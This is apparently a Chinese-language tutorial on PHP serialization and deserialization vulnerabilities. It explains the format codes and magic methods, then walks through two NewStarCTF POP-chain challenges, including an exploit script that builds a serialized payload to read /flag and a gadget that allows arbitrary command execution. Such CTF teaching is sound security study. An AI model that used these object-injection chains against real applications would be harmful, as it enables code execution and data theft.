php反序列化基础
什么是序列化,反序列化
反序列化(Deserialization) 是指将序列化后的数据(通常是字符串或二进制格式)恢复为原始数据结构(如数组、对象)。在 PHP 中,unserialize() 就是用来执行反序列化的,它可以把 serialize() 处理过的字符串还原成原始的 PHP 变量或对象。
示例:
1 2 3 4 5 6 7 8 9 10
| <?php
$data = ['name' => 'Alice', 'age' => 25]; $serialized = serialize($data); echo "序列化后的数据: " . $serialized . "\n";
$unserialized = unserialize($serialized); print_r($unserialized); ?>
|
输出:
1 2 3 4 5 6
| 序列化后的数据: a:2:{s:4:"name";s:5:"Alice";s:3:"age";i:25;} Array ( [name] => Alice [age] => 25 )
|
这个过程就是:
- 序列化:把数组转换成字符串(便于存储、传输)。
- 反序列化:把字符串恢复成数组(便于程序使用)。
程序语言之所以需要序列化(Serialization)和反序列化(Deserialization),主要是为了数据的存储、传输和共享。具体来说:
在应用开发中,数据往往需要持久化(如存入数据库、缓存或文件)。但数据库和文件通常存储的是字符串或二进制格式,序列化可以将复杂的数据结构(如对象、数组)转换为可存储的格式,之后用反序列化恢复出来。
序列化 = 把数据转换成字符串/二进制(方便存储和传输)
反序列化 = 把字符串/二进制恢复成数据(方便程序使用)
PHP 序列化的代号与释义
| 代号 |
数据类型 |
释义 |
示例 |
N |
NULL |
表示 NULL 值 |
N; |
b |
boolean |
布尔值 true 或 false |
b:1;(true),b:0;(false) |
i |
integer |
整数 |
i:123; |
d |
double(浮点数) |
浮点数 |
d:3.14; |
s |
string |
字符串(包含长度) |
s:5:"Alice"; |
a |
array |
数组(键值对存储) |
a:2:{s:4:"name";s:5:"Alice";s:3:"age";i:25;} |
O |
object |
对象(包含类名和属性) |
O:4:"User":1:{s:4:"name";s:3:"Bob";} |
R |
reference(引用) |
引用(指向之前的变量) |
R:1; |
C |
custom object |
对象自定义序列化(Serializable 接口) |
C:8:"MyClass":9:{datahere} |
在Private 权限私有属性序列化的时候格式是 %00类名%00属性名
在Protected 权限序列化的时候格式是 %00%00属性名*
对象的方法不会被序列化
序列化对象例子(Object)
1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class User { public $name; private $password; public function __construct($name, $password) { $this->name = $name; $this->password = $password; }
public function sayHello() { return "Hello, " . $this->name; } }
$user = new User("Alice", "secret123"); $serialized = serialize($user); echo $serialized; ?>
|
输出:
1
| O:4:"User":2:{s:4:"name";s:5:"Alice";s:12:"Userpassword";s:9:"secret123";}
|
O:4:"User" → 这是一个对象(Object),类名是 "User"(长度 4)。
2 → 该对象有 2 个属性(public $name 和 private $password)。
s:4:"name";s:5:"Alice"; → public $name 的值是 "Alice"。
s:12:"Userpassword";s:9:"secret123"; → private $password 的值是 "secret123"。
🔹 但 sayHello() 方法并没有出现在序列化结果中,说明方法不会被序列化。
2.
在反序列化的时候要保证有该类存在,因为没有序列化方法,所以我们反序列化回来还要依靠该类的方法进行。



为什么要序列化对象成字符串呢?在开发中又起到什么作用?
因为PHP文件执行后会把内存的数据进行销毁,如果下一个文件想用到刚刚销毁对象的属性和值就还要重新实例化new一次对象,所以才会将对象进行序列化然后存储,也避免重新实例化带来的耗费。
3.


什么是魔术方法
魔术方法是一种特殊的方法,会在对象执行某些操作时覆盖PHP的默认操作
常用的:
https://zhuanlan.zhihu.com/p/377676274
| 魔术方法名称 |
说明 |
| __sleep() |
serialize() 时调用 |
| __wakeup() |
unserialize() 时调用 |
| __toString() |
用于一个对象被当成字符串时调用 |
| __invoke() |
当尝试以调用函数的方式调用一个对象时 |
| __construct() |
构造函数,每次创建新对象时先调用此方法 (但在unserialize()时是不会自动调用的)。 |
| __destruct() |
析构函数,某个对象的所有引用都被删除或者当对象被显式销毁时执行 |
| __set() |
在给不可访问(protected 或 private)或不存在的属性赋值时 |
| __get() |
读取不可访问(protected 或 private)或不存在的属性的值时 |
| __call() |
当对象调用一个不可访问方法时 |
__toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| (1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候
|
魔术方法总结


反序列化漏洞的成因:
在 PHP 反序列化的过程中,如果 unserialize() 处理的是用户可控的输入,那么攻击者就可以伪造对象的序列化字符串,修改原有类的属性值,甚至触发类中的魔术方法,从而执行任意代码。
反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。
[NewStarCTF 公开赛赛道]UnserializeOne
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| class Start{ public $name; protected $func;
public function __destruct() { echo "Welcome to NewStarCTF, ".$this->name; }
public function __isset($var) { ($this->func)(); } }
class Sec{ private $obj; private $var;
public function __toString() { $this->obj->check($this->var); return "CTFers"; }
public function __invoke() { echo file_get_contents('/flag'); } }
class Easy{ public $cla;
public function __call($fun, $var) { $this->cla = clone $var[0]; } }
class eeee{ public $obj;
public function __clone() { if(isset($this->obj->cmd)){ echo "success"; } } }
if(isset($_POST['pop'])){ unserialize($_POST['pop']); }
|
Start
- 析构方法
__destruct():输出 Welcome to NewStarCTF, $this->name;
__isset() 方法:会调用 $this->func 这个属性
Sec
__toString() 方法:调用 $this->obj->check($this->var);
__invoke() 方法:读取 /flag 并输出。
Easy
__call() 魔术方法:$this->cla = clone $var[0];(调用时克隆 $var[0])
eeee
__clone() 方法:检查 $this->obj->cmd 是否存在。
目标是 触发 Sec 类的 __invoke() 方法,这样可以 file_get_contents('/flag') 读取 flag。
1 2 3
| 要 触发 Sec 类的 `__invoke()` 方法->把对象当作函数调用:->Start类的_isset方法:把Sec类当作func属性
->触发isset方法->class eeee类的__clone方法->class Easy->触发call->class Sec->__toString->class Start的__destruct
|
后续就是编写exp
先将代码复制进vscode,然后把所有和属性无关的删除。
private的属性改成public 缺的属性补全
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
class Start{ public $name; public $func; } class Sec{ public $obj; public $var; } class Easy{ public $cla; } class eeee{ public $obj; } $res = new Start; $res->name = new Sec; $res->name->obj = new Easy; $res->name->var=new eeee; $res->name->var->obj=new Start; $res->name->var->obj->func=new Sec; echo serialize($res); ?>
|
[NewStarCTF 2023 公开赛道]POP Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php highlight_file(__FILE__); class Begin{ public $name; public function __destruct() { if(preg_match("/[a-zA-Z0-9]/",$this->name)){ echo "Hello"; }else{ echo "Welcome to NewStarCTF 2023!"; } } } class Then{ private $func; public function __toString() { ($this->func)(); return "Good Job!"; } } class Handle{ protected $obj; public function __call($func, $vars) { $this->obj->end(); } } class Super{ protected $obj; public function __invoke() { $this->obj->getStr(); } public function end() { die("==GAME OVER=="); } } class CTF{ public $handle; public function end() { unset($this->handle->log); } } class WhiteGod{ public $func; public $var; public function __unset($var) { ($this->func)($this->var); } } @unserialize($_POST['pop']);
|
入手点: ($this->func)($this->var); 可以执行任意命令
1
| WhiteGod::_unset->CTF::end->Handle::_call->Super::_invoke->Then::toString->Begin::__destruct
|